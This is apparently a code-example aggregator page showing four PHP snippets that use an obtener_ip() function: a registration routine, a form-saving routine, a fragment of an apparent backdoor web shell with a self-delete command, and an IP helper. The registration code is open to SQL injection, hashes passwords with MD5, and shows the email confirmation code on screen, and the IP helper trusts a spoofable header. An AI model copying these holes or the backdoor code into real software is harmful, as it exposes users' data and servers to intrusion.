示例#1
0
function registro_express($formulario, $accion)
{
    $formulario = mysql_seguridad($formulario);
    //	if(is_array($formulario) ){$nombre_formulario = $formulario['nombre_formulario'];}else{$nombre_formulario = "$formulario";}
    if ($nombre_formulario == "") {
        $nombre_formulario = "login";
    }
    /*	
    foreach($formulario as $c=>$v){ 
    
    //LISTA ELEMENTOS DE UN ARRAY
    if (is_array($v) ){
    foreach($v as $C=>$V){
    		if($V != '') {$resultado .= "$$c =  \$formulario[$c][$C]; // <b>$V</b> </p>";}  
    							}
    								
    
    					} else {
    		if($v !='') {$resultado .= "$$c = \$formulario[$c]; // <b>$v</b> </p>";}
     								}
    									
    									}  
    */
    $boton = "<div class='btn btn-block btn-success' onclick=\"xajax_registro_express(xajax.getFormValues('{$nombre_formulario}'),'confirmar')\">Grabar </div>";
    $respuesta = new xajaxResponse('utf-8');
    if ($accion == 'confirmar') {
        $div = "registro_confirmacion_email";
        if ($formulario[password_express_confirmar] == "" or $formulario[password_express_confirmar] != $formulario[password_express]) {
            $resultado = "<div class='alert alert-danger'>Por favor escribe y confirma una clave.</div> {$boton}";
            $respuesta->addAssign("password_express" . "_grupo", "className", " input-group has-error ");
            $respuesta->addAlert("Por favor escribe y confirma la clave");
            $respuesta->addScript("document.getElementById('password_express').focus(); ");
            $respuesta->addAssign("{$div}", "innerHTML", $resultado);
            return $respuesta;
        }
        if ($formulario[email_express_confirmar] != "") {
            $email_envio = $formulario['email_express_confirmar'];
            $rrn = rand(123, 999);
            $rrncode = MD5("{$rrn}");
            //	$aviso= aviso('','mail privacidad','');
            $direccion = remplacetas("empresa", "id", $id_empresa, "direccion", "");
            $telefono = remplacetas("empresa", "id", $id_empresa, "telefono", "");
            $web = remplacetas("empresa", "id", $id_empresa, "web", "");
            $email = remplacetas("empresa", "id", $id_empresa, "email", "");
            $imagen = remplacetas("empresa", "id", $id_empresa, "imagen", "");
            $razon_social = remplacetas("empresa", "id", $id_empresa, "razon_social", "");
            $slogan = remplacetas("empresa", "id", $id_empresa, "slogan", "");
            $headers = "MIME-Version: 1.0\r\n";
            $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
            $headers .= "From: Comunidad QWERTY.co <*****@*****.**>\r\n";
            $headers .= "Reply-To: comunidad@qwerty.co\r\n";
            $headers .= "Return-path: comunidad@qwerty.co\r\n";
            $asunto = "Código de validación";
            $cuerpo = "\n<div style='border: solid 1px; padding:20px ; border-radius: 10px; background-color:#E6F8E0 '>\n<h1>Comunidad QWERTY.co</h1>\n\n<hr />\n<h3>Código de validación</h3>\n<p>Bienvenido a nuestra comunidad <strong>QWERTY.co<strong> Por favor digita el siguente código para validar tu cuenta.</p>\n<H1>{$rrn}</H1>\n\n\n<h3>Toda la ayuda que necesitas la puedes encontrar en nuestra sección de respuestas a preguntas frecuentes: http://qwerty.co/faq.</h3>\n</div>\n\t\t{$aviso}\n\t\t\t";
            mail("{$email_envio}", "{$asunto}", "{$cuerpo}", "{$headers}");
            $boton = "<div class='btn btn-block btn-success' onclick=\"xajax_registro_express(xajax.getFormValues('{$nombre_formulario}'),'validar');\">Confirmar</div>";
            $control = MD5(mktime() . $rrncode);
            $resultado .= "\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-2'>\n\t\t\t</div>\n\t\t\t<div class='col-sm-8'>\n\t\t\t\t<div class='form-group has-error' id='codigo_confirmacion'>\n\t\t\t\t<span class='help-block'>Escribe el código de confirmación <strong>{$rrn}</strong></span>\n\t\t\t\t\t<div class='input-group'  id=''>\n\t\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t\t<i class='fa fa-key'></i>\n\t\t\t\t\t\t</span>\n\t\t\t\t\t\t<input type='hidden' id='rrn' name='rrn' value='{$rrncode}'>\n\t\t\t\t\t\t<input type='hidden' id='hidden' name='control' value='{$control}'>\n\t\t\t\t\t\t<input type='number' id='codigo_confirmacion' name='codigo_confirmacion' placeholder='Codigo de validación' class='form-control'> \n\t\t\t\t\t</div>\n\t\t\t\t\n\t\t\t\t</div>\n\t\t\t</div>\t\t\t\n\t\t\t<div class='col-sm-2'>\n\t\t\t\n\t\t\t</div>\n\t\t</div>\t\n\t{$boton}\n\t";
        } else {
            $resultado .= "{$boton} <div class='alert alert-danger'>No hay un email válido </div>";
        }
        $respuesta->addAssign("{$div}", "innerHTML", $resultado);
        return $respuesta;
    } elseif ($accion == "elegir") {
        $form = "\n<div id='login_express'>\n\t<div class='' id='datos_usuario'>\n\t\t<div class='row' id=''>\t\n\t\t\t<div class='col-sm-6'>\n\t\t\t\t<div class='btn btn-primary  btn-block' onclick=\"xajax_registro_express(xajax.getFormValues('{$nombre_formulario}'),'nuevo');\" >Usuario nuevo</div>\n\t\t\t</div>\n\t\t\t<div class='col-sm-6'>\n\t\t\t\t<div class='btn btn-success btn-block'  data-target=\"#modal_login\" data-toggle=\"modal\" >Ya estoy registrado</div>\n\t\t\t<div>\n\t\t</div>\n\n\t</div>\n</div>\n\t\t              <a target='_blank' href='http://qwerty.co/faq/category/19/privacidad-y-protecci%C3%B3n-de-datos.html'>Antes de continuar, por favor revisa nuestras Políticas de privacidad y protección de datos.</a> </p> \n\t\t              ";
        return $form;
    } elseif ($accion == "validar") {
        $boton = "<div class='btn btn-block btn-success' onclick=\"xajax_registro_express(xajax.getFormValues('{$nombre_formulario}'),'confirmar');\">Confirmar</div>";
        $div = "registro_confirmacion_email";
        if ($formulario[password_express_confirmar] == "" or $formulario[password_express_confirmar] != $formulario[password_express]) {
            $resultado = "<div class='alert alert-danger'>Por favor escribe y confirma una clave.</div> {$boton}";
            $respuesta->addAssign("password_express" . "_grupo", "className", " input-group has-error ");
            $respuesta->addAlert("Por favor escribe y confirma la clave");
            $respuesta->addScript("document.getElementById('password_express').focus(); ");
            $respuesta->addAssign("{$div}", "innerHTML", $resultado);
            return $respuesta;
        }
        $codigo_confirmacion = $formulario[codigo_confirmacion];
        //
        $rrn = $formulario[rrn];
        //
        $codificado = md5("{$codigo_confirmacion}");
        if ($rrn == $codificado) {
            $control = $formulario[control];
            // nuevo_
            $nombre_formulario = $formulario[nombre_formulario];
            // nuevo_
            $email_express = $formulario[email_express];
            // aa@gmail.com
            $email_express_confirmar = $formulario[email_express_confirmar];
            // aa@gmail.com
            $nombre_express = $formulario[nombre_express];
            // nombre
            $apellido_express = $formulario[apellido_express];
            // apellido
            $telefono_express = $formulario[telefono_express];
            // 324343
            $password_express = $formulario[password_express];
            // 1234
            $password_express_confirmar = $formulario[password_express_confirmar];
            // 23456
            $ip = obtener_ip();
            $link = Conectarse();
            mysql_query("SET NAMES 'utf8'");
            $consulta = "INSERT INTO usuarios (username,p_nombre,p_apellido,email,bio,passwd,control,status,lastip,id_empresa) \n\t\t\t\tVALUES ('{$email_express_confirmar}','{$nombre_express}','{$apellido_express}','{$email_express_confirmar}','','" . MD5($password_express_confirmar) . "','{$control}','1','{$ip}','{$_SESSION['id_empresa']}')";
            $sql_consulta = mysql_query($consulta, $link);
            if ($sql_consulta) {
                $id = mysql_insert_id();
                $consulta_localizacion = "INSERT INTO localizacion (id_localizado,telefono,id_grupo) VALUES ('{$id}','{$telefono_express}','1')";
                $consulta_empresa = "INSERT INTO empresa SET razon_social = '{$nombre_express} {$nombre_express}', regimen_tributario = 'simplificado' ,id_responsable='{$id}'";
                $sql_localizacion = mysql_query($consulta_localizacion, $link);
                //$sql_empresa=mysql_query($consulta_empresa,$link);
                if ($sql_empresa) {
                    $id_empresa = mysql_insert_id();
                    $_SESSION[id_empresa] = $id_empresa;
                    $_SESSION[id] = $id;
                }
                //// faltan variables de session
            }
            $resultado = "<div class='alert alert-success'><h1>Bienvenido</h1>\n<p>Felicitaciones, tu registro se efectuó correctamente, ahora puedes usar nuestros servicios.</p>\n</div>";
            $div = "contenido";
            $respuesta->addAssign("{$div}", "innerHTML", $resultado);
            return $respuesta;
        } else {
            $resultado = "<div class='alert alert-danger'><h3>Error</h3>El Código de confirmación no es correcto, por favor inténtalo nuevamente.</div>";
        }
        $resultado .= "{$boton}";
        $respuesta->addAssign("{$div}", "innerHTML", $resultado);
        return $respuesta;
    } elseif ($accion == "nuevo") {
        //$respuesta = new xajaxResponse('utf-8');
        $div = "contenido";
        $form = "\n<div class='alert alert-warning'>\n<form class='form' id='{$nombre_formulario}' name='{$nombre_formulario}' >\n<input type='hidden' value = 'nuevo_{$nombre_formato}' id='nombre_formulario' name='nombre_formulario' >\n\t<legend>Datos de contacto</legend>\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-6'>\n\t\t\t\t<div class='input-group' id='email_express_grupo'>\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-envelope-o'></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input value=''  type='email' id='email_express' name='email_express' placeholder='Email' class='form-control'\n\t\t\t\t\t\tonclick=\"(this.value=''); \"\n\t\t\t\t\t \tonchange=\"xajax_validar_usuario('email',(this.value),'email_express','login'); \"  > \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class='col-sm-6'>\n\t\t\t\t\n\t\t\t\t<div class='input-group' id='email_express_confirmar_grupo'>\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-envelope'></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input value='' type='email' id='email_express_confirmar' name='email_express_confirmar' placeholder='Confirmar email' class='form-control'\n\t\t\t\t\tonclick=\"(this.value=''); \"\n\t\t\t\t\tonchange= \"xajax_confirma_campo((document.getElementById('email_express').value),(this.value),'email_express','email_express_confirmar'); \"  > \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-12'>\n\t\t\t\t<div class='input-group' id='nombre_express'>\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-user'></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input type='text' id='nombre_express' name='nombre_express' placeholder='Nombre' class='form-control'> \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-12'>\n\t\t\t\t<div class='input-group' id='apellido_express'>\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-user '></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input type='text' id='apellido_express' name='apellido_express' placeholder='Apellido' class='form-control'> \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-12'>\n\t\t\t\t<div class='input-group' id='telefono_express'>\n\t\t\t\t\t\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-phone'></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input type='phone' id='telefono_express' name='telefono_express' placeholder='Teléfono' class='form-control' \n\t\t\t\t\tonclick=\"(this.value=''); \"> \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-6'>\n\t\t\t\t<div class='input-group' id='password_express_grupo'>\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-key'></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input type='password' id='password_express' name='password_express' placeholder='Clave' class='form-control'\n\t\t\t\t\tonclick=\"(this.value=''); \"> \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class='col-sm-6'>\n\t\t\t\t<div class='input-group' id='password_express_confirmar_grupo'>\n\t\t\t\t\t<span class='input-group-addon'>\n\t\t\t\t\t\t<i class='fa fa-lock'></i>\n\t\t\t\t\t</span>\n\t\t\t\t\t<input type='password' id='password_express_confirmar' name='password_express_confirmar' placeholder='Confirma tu clave' class='form-control'\n\t\t\t\t\tonclick=\"(this.value=''); \"\n\t\t\t\t\tonchange= \"xajax_confirma_campo((document.getElementById('password_express').value),(this.value),'password_express','password_express_confirmar'); \" > \n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class='row'>\n\t\t\t<div class='col-sm-12'>\n\t\t\t\t<br>\n\t\t\t\t<div id='registro_confirmacion_email'>\t\t\t\t\n{$boton}\n\t\t\t\t</div>\n\t\t\t\t\n\t\t\t</div>\n\t\t</div>\n\n</form>\n</div>\n";
        $respuesta->addAssign("{$div}", "innerHTML", $form);
        return $respuesta;
    } elseif ($accion == "boton") {
        $modal = "      \n\t\t<form class='navbar-form navbar-left' role='form' id='form_contacto' name='form_contacto'>\n        <div class='form-group'>\n          <input type='text' class='form-control input-small' placeholder='Email o usuario' id='email' name='email'>\n        </div>\n        <div class='form-group'>\n          <input type='password' class='form-control input-small' placeholder='Clave ****' id='password' name='password'>\n        </div>\n        <div  class='btn btn-default' onclick=\"xajax_revisar_ingreso(xajax.getFormValues('form_contacto')) ; \"><i class='fa fa-sign-in fa-fw'></i></div>\n      </form>";
        return;
        //$modal;
    } else {
    }
    $respuesta->addAssign("{$div}", "innerHTML", $resultado);
    return $respuesta;
}
示例#2
0
function formulario_grabar($formulario)
{
    $debug = "";
    $respuesta = new xajaxResponse('utf-8');
    $datos = "";
    $envio = "";
    //$formulario	= mysql_seguridad($formulario);
    $ip = obtener_ip();
    $graba_ip = "INET_ATON('" . $ip . "') ";
    $consulta_grabada = '0';
    $control = $formulario['control'];
    //
    $form_id = $formulario['form_id'];
    //
    $tipo = $formulario['tipo'];
    //
    if (@$formulario['imagen'] != '') {
        $formulario[0][0] = $formulario['imagen'];
    }
    $consulta_form = "SELECT * FROM form_contenido_campos,form_campos\n\t\t\t\t\t\t\tWHERE form_contenido_campos.id_campo = form_campos.id \n\t\t\t\t\t\t\tAND  id_form = '{$form_id}' ";
    $link = Conectarse();
    mysql_query("SET NAMES 'utf8'");
    //	$sql=mysql_query($consulta_form,$link);
    //	if (mysql_num_rows($sql)!='0'){
    //					mysql_data_seek($sql, 0);
    //			while( $row = mysql_fetch_array( $sql ) ) {
    //////
    if (isset($_SESSION['id_empresa'])) {
        $id_empresa = $_SESSION['id_empresa'];
    } else {
        $id_empresa = remplacetas('form_id', 'id', $formulario['form_id'], 'id_empresa', "");
        $id_empresa = $id_empresa[0];
    }
    foreach ($formulario as $c => $v) {
        //LISTA ELEMENTOS DE UN ARRAY
        if (is_array($v)) {
            foreach ($v as $C => $V) {
                $campo_tipo = remplacetas("form_campos", "id", $c, "campo_tipo", "");
                $campo_nombre = remplacetas("form_campos", "id", $c, "campo_nombre", "");
                if ($V != '') {
                    $datos .= "<p>\${$c} =  \$formulario['{$c}'][{$C}]; // <b>{$V}</b>  /{$campo_tipo['0']} </p>";
                    if ($campo_tipo[0] == '12' or $campo_tipo[0] == '13') {
                        $validar = validar_email($V);
                        if ($validar == '0') {
                            $respuesta->addAssign("input_" . $c . "[" . $C . "]", "className", " form-group has-error  ");
                            $respuesta->addScript("document.getElementById('" . $c . "[" . $C . "]').focus(); ");
                            $respuesta->addAlert("Se necesita un email válido");
                            return $respuesta;
                        } else {
                            $respuesta->addAssign("input_" . $c . "[" . $C . "]", "className", " form-group has-success ");
                        }
                    }
                    if ($campo_tipo[0] == '3') {
                        $validar = is_numeric($V);
                        if (is_numeric($V)) {
                            $respuesta->addAssign("input_" . $c . "[" . $C . "]", "className", " form-group has-success ");
                            //return $respuesta;
                        } else {
                            $respuesta->addAssign("input_" . $c . "[" . $C . "]", "className", " form-group has-error  ");
                            $respuesta->addScript("document.getElementById('" . $c . "[" . $C . "]').focus(); ");
                            $respuesta->addAlert("El campo {$campo_nombre['0']} solo acepta valores numéricos");
                            return $respuesta;
                        }
                    }
                    if ($campo_tipo[0] == '17') {
                        $limite = limite("{$c}", '', 'limite');
                        $size = strlen($V);
                        $restante = $limite - $size;
                        if ($restante < 0) {
                            $respuesta->addAssign("input_" . $c . "[" . $C . "]", "className", " form-group has-error  ");
                            $respuesta->addAlert("ATENCION: El campo {$campo_nombre['0']} no debe tener mas de {$limite} caractéres, sobran {$restante}");
                            $respuesta->addScript("document.getElementById('" . $c . "[" . $C . "]').focus(); ");
                            return $respuesta;
                        }
                    }
                } else {
                    //busca campos vacios
                    $campo_obligatorio = remplacetas("form_contenido_campos", "id_campo", $c, "obligatorio", "id_form = '{$formulario['form_id']}'");
                    if ($campo_obligatorio[0] == '1') {
                        $respuesta->addAssign("input_" . $c . "[" . $C . "]", "className", " form-group has-error  ");
                        $respuesta->addAlert("ATENCION: El campo {$campo_nombre['0']} es obligatorio");
                        $respuesta->addScript("document.getElementById('" . $c . "[" . $C . "]').focus(); ");
                        return $respuesta;
                    }
                }
                $md5 = md5($V);
                $igual = formulario_valor_campo("{$form_id}", "{$c}", "{$md5}", "{$formulario['control']}", "{$C}");
                $existe = formulario_valor_campo("{$form_id}", "{$c}", "", "{$formulario['control']}", "{$C}");
                //$valor_anterior .=  $existe[3]."| ";
                $debug .= "{$existe}";
                if (!is_null($existe) and $tipo == 'edit' and $V == '') {
                    $consulta_vacio = "\n\t\t\t\tINSERT INTO `form_datos` (`id`, `id_campo`,`orden`,`form_id`, `id_usuario`, `contenido`, `timestamp`, `control`, ip , id_empresa) \n\t\t\t\t\t\t\t\t\t\tVALUES (NULL, '{$c}','{$C}', '{$formulario['form_id']}', '{$_SESSION['id']}', '', UNIX_TIMESTAMP(), '{$formulario['control']}',{$graba_ip},'{$id_empresa}');";
                    $sql = mysql_query($consulta_vacio, $link);
                    if ($sql) {
                        $consulta_grabada = '1';
                    }
                }
                if (is_null($igual)) {
                    $repetido = 0;
                } else {
                    $repetido = 1;
                }
                //return $respuesta;
                //$respuesta->addAlert("$debug");
                //return $respuesta;
                $debug .= "V = {$V} /{$c} /{$repetido} / {$igual}  ";
                if ($V != '' && is_numeric($c) and $repetido != 1) {
                    //$debug = "Hola mundo";
                    $V = mysql_real_escape_string($V);
                    $campo_tipo = remplacetas("form_campos", "id", $c, "campo_tipo", "");
                    if (@$campo_tipo[0] == "18") {
                        $V = md5("{$V}");
                    } else {
                        $V = $V;
                    }
                    $consulta = "\n\t\t\t\tINSERT INTO `form_datos` (`id`, `id_campo`,`orden`,`form_id`, `id_usuario`, `contenido`, `timestamp`, `control`, ip , id_empresa) \n\t\t\t\t\t\t\t\t\t\tVALUES (NULL, '{$c}','{$C}', '{$formulario['form_id']}', '" . @$_SESSION[id] . "', '{$V}', UNIX_TIMESTAMP(), '{$formulario['control']}',{$graba_ip},'{$id_empresa}');";
                    $sql = mysql_query($consulta, $link);
                    $debug .= "{$consulta} = {$sql} ,";
                    if ($sql) {
                        $consulta_grabada = '1';
                    }
                }
            }
            ///fin del array
        } else {
            if ($v != '') {
                //$datos .= "<p>$$c = \$formulario['$c']; // <b>$v</b> </p>";
            }
        }
    }
    //																}
    //											}
    $debug .= " {$link} ";
    //$respuesta->addAssign("pie_modal","innerHTML","$debug");
    if ($consulta_grabada == '1') {
        if ($tipo == "embebidoX") {
            $exito = "\n\t<div class='alert alert-success'><h2><i class='fa fa-check-square-o'></i>\n\t\t {$formulario['mensaje']} </h2>\n\n\t</div>";
            $mail = '1';
        } elseif ($tipo == "solocampos") {
            $exito = "\n\t<div class='alert alert-success'><h2><i class='fa fa-check-square-o'></i>\n\t\t {$formulario['mensaje']} </h2>\n\n\t</div>";
            $mail = '0';
        } else {
            $campo_envio = buscar_campo_tipo($formulario['form_id'], "13");
            if ($campo_envio[0] != "") {
                $envio = email_contenido("{$formulario['form_id']}", "{$formulario['control']}", "{$campo_envio['0']}", '');
            }
            if ($tipo = "embebido") {
                $otro_formulario = "\n\t\t\t \t<a href ='' class='btn btn-block btn-success'>\n\t\t\t \t\tLlenar otro formulario\n\t\t\t \t</a>\n";
            } else {
                $otro_formulario = "\n\t\t\t \t<a href ='f{$formulario['form_id']}' class='btn btn-block btn-success'>\n\t\t\t \t\tLlenar otro formulario\n\t\t\t \t</a>\t\n\t\n\t";
            }
            $impresion = formulario_imprimir("", "{$formulario['control']}", "preview");
            $mensaje_agradecimiento = remplacetas('form_parametrizacion', 'campo', "{$formulario['form_id']}", 'descripcion', " tabla='form_id' and  opcion = 'mensaje_envio'");
            //$impresion = mostrar_identificador($formulario['control']);
            $exito = "\n\t\t<div>\n\t\t{$mensaje_agradecimiento['0']}\n\t\t</div>\n\t<!-- \tuse plantilla:preview  -->\n\t\t{$impresion} \n\t<!-- \tuse plantilla:preview  -->\n\t<div class='alert alert-success'><h2><i class='fa fa-check-square-o'></i>\n\t\t Gracias por llenar el formulario {$formulario['form_nombre']} </h2>\n\t\t <div class='row'>\n\t\t\t <div class='col-xs-6'>\n\t\t\t\t{$otro_formulario}\n\t\t\t </div>\n\t\t\t <div class='col-xs-6'>\n\t\t\t \t{$envio}\n\t\t\t </div>\n\t\t</div>\n\t</div>";
            //	$mail ='1';
        }
        //if($mail =='1') {
        //$propietario = 	remplacetas('form_id','id',$formulario[form_id],'propietario',"") ;
        //$propietario = 	remplacetas('usuarios','id',$propietario[0],'email',"") ;
        $email_envio = remplacetas('form_parametrizacion', 'campo', "{$formulario['form_id']}", 'descripcion', " tabla='form_id' and  opcion = 'email'");
        if ($email_envio[0] != "") {
            $impresion = formulario_imprimir("", "{$formulario['control']}", "preview");
            $id_empresa = remplacetas('form_id', 'id', $formulario[form_id], 'id_empresa', "");
            $id_empresa = $id_empresa[0];
            $direccion = remplacetas("empresa", "id", $id_empresa, "direccion", "");
            $telefono = remplacetas("empresa", "id", $id_empresa, "telefono", "");
            $web = remplacetas("empresa", "id", $id_empresa, "web", "");
            $email = remplacetas("empresa", "id", $id_empresa, "email", "");
            $imagen = remplacetas("empresa", "id", $id_empresa, "imagen", "");
            $razon_social = remplacetas("empresa", "id", $id_empresa, "razon_social", "");
            $slogan = remplacetas("empresa", "id", $id_empresa, "slogan", "");
            $nombre_formulario = remplacetas("form_id", "id", $formulario[form_id], "nombre", "");
            $headers = "MIME-Version: 1.0\r\n";
            $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
            $headers .= "From: {$razon_social['0']} <{$email['0']}>\r\n";
            $headers .= "Reply-To: {$email['0']}\r\n";
            $headers .= "Return-path: {$email['0']}\r\n";
            $headers .= "Cc: {$email_envio['0']}" . "\r\n";
            $asunto = "{$nombre_formulario['0']}";
            $cuerpo = "\n{$mensaje_agradecimiento['0']}\n{$impresion}\n</p>Se ha completado el formulario <b>{$nombre_formulario['0']}</b></p>\n<p>Puede revisar los datos en <a href='{$_SESSION['site']}i{$formulario['control']}'>{$_SESSION['site']}i{$formulario['control']}</a></p>\n<p>Saludos de MILFS</p>\n";
            if (mail("{$email['0']}", "{$asunto}", "{$cuerpo}", "{$headers}")) {
                $exito .= "";
            } else {
                $exito .= "error enviando correo";
            }
            //$exito .= "$email[0] $headers ";
        }
        ///	}
        $respuesta->addAssign("div_{$control}", "innerHTML", "{$exito} ");
        return $respuesta;
    } else {
        $mensaje = "\n\t\n\t\t\t<div class='alert alert-success text-center'><h1><i class='fa fa-smile-o'></i><small> Todo bien pero al parecer no se moficaron registros </small></h1></div>";
        $respuesta->addAssign("div_{$control}", "innerHTML", "{$mensaje}");
    }
    //$respuesta->addAssign("respuesta_$control","innerHTML","$resultado");
    return $respuesta;
}
示例#3
0
         }
     }
     exit(0);
 }
 if (isset($_GET['destruir'])) {
     if (!empty($_GET['destruir'])) {
         $locacion = "{$actual}/{$nombre_backdoor}";
         if (unlink($locacion)) {
             header("location:{$link_actual}");
         } else {
             echo "<script>alert('No se pudo destruir')</script>";
         }
     }
 }
 /* Guardamos la ip en una variable */
 $ip = obtener_ip();
 /* Calcular espacio disponible del disco duro */
 $espacio_libre = @diskfreespace("/");
 /* Calculamos el espacio libre */
 if (@function_exists('disk_free_space')) {
     $espacio_libre = @disk_free_space("/");
 } else {
     $espacio_libre = '-';
 }
 /* Verificamos que se reciba de la variable $espacio_libre */
 /* de lo contrario la asignamos el valor 0 */
 if (!$espacio_libre) {
     $espacio_libre = 0;
 }
 /* Guardamos el total en una variable */
 $total = @disk_total_space("/");
示例#4
0
文件: ip.php 项目: Juan571/DHCP
<?php

function obtener_ip()
{
    if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
        return array_shift(explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"]));
    } else {
        if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
            return $_SERVER["HTTP_CLIENT_IP"];
        } else {
            return $_SERVER["REMOTE_ADDR"];
        }
    }
}
echo obtener_ip();